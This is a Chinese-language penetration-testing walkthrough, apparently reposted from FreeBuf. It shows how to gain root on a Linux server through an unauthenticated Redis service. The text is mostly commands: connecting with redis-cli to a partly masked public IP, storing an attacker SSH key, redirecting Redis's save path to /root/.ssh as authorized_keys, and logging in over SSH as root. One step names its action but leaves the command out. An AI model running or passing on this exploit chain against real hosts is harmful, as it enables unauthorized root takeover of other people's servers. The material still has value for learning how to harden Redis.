redis未授权访问配合ssh免密登录getshell
在一次渗透测试中拿到一个ip地址52.80.249.xx,nmap端口扫描出22,6379,80端口,目标机是linux系统的一台服务器,6379为redis的默认端口,尝试对其进行利用。使用kali作为攻击机
一、环境准备
1.1、在攻击机上面下载redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
1.2解压文件,执行文件
解压文件:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
安装:make
1.3、进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样以后启动redis就不用进入安装目录了)
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
1.4、、返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
cd ../
cp redis.conf /etc/
1.5、使用/etc/目录下的reids.conf文件中的配置启动redis服务:
redis-server /etc/redis.conf
1.6、然后ctrl+c退出,再次进入src目录然后连接目标靶机的redis服务
ctrl+c
cd src
redis-cli –h 52.80.249.xx
出现52.80.249.xx:6379>就代表连接成功,并且没有输入密码
二、漏洞利用
2.1、这里附上一个这里没法利用的一种 攻击方式截图(没有测试仅供参考)
2.2、我们这里是不知道路径的,根据前期信息收集知道还有ssh服务的22端口是开放的,可以利用“公私钥”认证获取root权限
使用ssh生成公钥和私钥文件
ssh-keygen -t rsa
2.3、进入.ssh文件下,将上面生成的公钥保存到1.txt里面
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > 1.txt
2.4、将生成的公钥文件通过redis上传到目标服务器
cat 1.txt | redis-cli -h 52.80.249.xx -x set crack
2.5、远程连接redis服务
redis-cli -h 52.80.249.xx
2.6、获得redis备份的路径
config get dir
2.7、更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
2.8、设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
2.9、检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机
config get dbfilename
2.10、攻击机直接ssh连接目标服务器
ssh -i id_rsa root@52.80.249.xx
本文作者:天良, 转载请注明来自FreeBuf.COM
版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!